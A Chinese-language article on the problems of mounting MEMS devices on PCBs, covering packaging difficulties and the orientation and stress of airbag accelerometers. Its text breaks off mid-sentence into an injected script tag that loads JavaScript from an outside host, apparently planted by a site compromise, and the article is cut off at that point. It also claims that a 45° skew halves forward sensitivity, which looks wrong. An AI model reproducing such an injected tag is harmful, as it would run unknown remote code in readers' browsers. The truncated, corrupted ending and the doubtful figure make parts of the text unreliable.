MEMS组装技术浅谈

作为一种新型封装器件,微机电系统(mems)将成为21世纪电子领域的重要技术之一,但是对于如何在pcb上装配mems,中国工程师仍知之甚少。要想在这一新兴技术领域占有一席之地,除了开发设计外,还应该考虑mems在pcb上的装配问题。

  当前微机电系统(mems)可以说是最热门的谈论话题之一,但究竟什么是mems?它为什么会成为人们关注的焦点?它又主要应用在哪些方面呢?

  简单地说,mems就是对系统级芯片的进一步集成。目前我们几乎可以在单个芯片上集成任何东西,像运动装置、光学系统、发音系统、化学分析、无线系统及计算系统等,有些mems可以发送、接收以及精确地控制光束,有的可以检测某些分子,有的还可以模仿人体部分感觉器官。因此如果将逻辑芯片比作大脑,那么mems就相当于人的眼睛、鼻子、耳朵或其它感觉器官。此外mems还具有电气、机械或电磁控制功能,若继续以人作比方,mems还可以作为人的手或手指移动各种物体。在一个芯片上集成运动、感应和计算等众多功能的确是技术上的一大飞跃,但前面的道路仍然充满荆棘:制造技术有待开发,封装尚不明确,如何在pcb上装配也无章可循。

  美国sandia国家实验室、科罗拉多大学及其它一些研究机构都相继开发出颇有价值的mems器件,我们可从中看到一些未来mems技术的发展方向。其中有一些特别引人注目的器件,如芯片大小的分光光度计,它可以检测出数公里外空气中的成份,另外还有用于医疗(如药品传送)的微型泵和微型阀等,这些mems器件特别细小,甚至可以植入人体。目前mems并不都仅仅处于实验室阶段,有的已进入实用场合,例如已有制造厂商完成了mems光学系统的商品化,该系统可用于一种最先进的数字投影仪,现在他们正在进行数字影院的试运行。

  封装工程师们把mems视为他们所遇到的最大挑战,由于大多数应用方案都是专用的,所以问题更为复杂,适用于某一产品的方案未必适用于其它产品。另外各种各样的输入和输出形式使得mems千差万别,也给应用带来困难。不过即使封装业能够联合起来克服困难,开发出完整封装的mems器件,到了下一步——将封装好的mems器件装到pcb上——又是一个大难题。下面以一些实际应用为例说明mems器件的组装。

  安全电子气囊

  加速/减速计是最早也是最重要的mems器件之一(图1),这种器件通常带有一个硅悬臂或悬梳,当运动状态变化时会出现微小的弯曲,从中可检测到运动状态并将其转换成电信号。对该系统的要求是必须能准确地感测到减速情况,并且及时发出信号以打开汽车上的气囊,而这一信号又只能在撞车的情况下才能发出。这种产品的封装外形并没有什么特别之处,用一般转移模塑技术就可以制成。加速/减速计是少数几种可以完全密封的mems产品之一,因为运动状态检测并不需要开口,而且封装不能影响机械的运动,封装的内部应力也必须很低,即使封装存在有应力也必须是可以估测的,以便应用时留出余量。封装和装配的关键都在于是否对应力产生影响,因为任何会增加封装应力的因素都将改变系统灵敏度。

  加速/减速计只能感测一个方向的运动状态变化情况而不是任何方向,安全气囊里的感应器主要检测汽车的前向速度变化率,如果车辆受到追尾或侧向冲击,或者遇到路面凹坑而弹起,气囊都不应被触发打开。现在越来越多的汽车安装侧向安全气囊,由另一个独立的感应器检测其侧向运动情况。任何影响方向感应或减速检测的因素都会在使用时带来麻烦。

  安装加速/减速计时还需要注意的一个问题是封装的方向必须要摆正,若mems方向不对灵敏度就会降低。假如水平方向偏斜45°,则前向灵敏度会降低一半;除了水平偏斜外,垂直方向的倾斜也有影响,因为有效运动方向发生了变化,从而降低了灵敏度。

  可以容许多大的偏斜呢?能否设计一种封装可确保装配方向永远处在允许范围内?对于这些问题可能已有了解决办法,只是尚未公开。据一位加速计制造商透露,少数oem客户已有确定的芯片类型,并确立了设计规则建立了装配标准。尽管这是一个很大的市场,但仍然受到很多限制,这种状况今后也许会改变。另外一种可能是每个oem厂商的器件规格都不尽相同,正如一位制造商所说,“拥有mems装?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计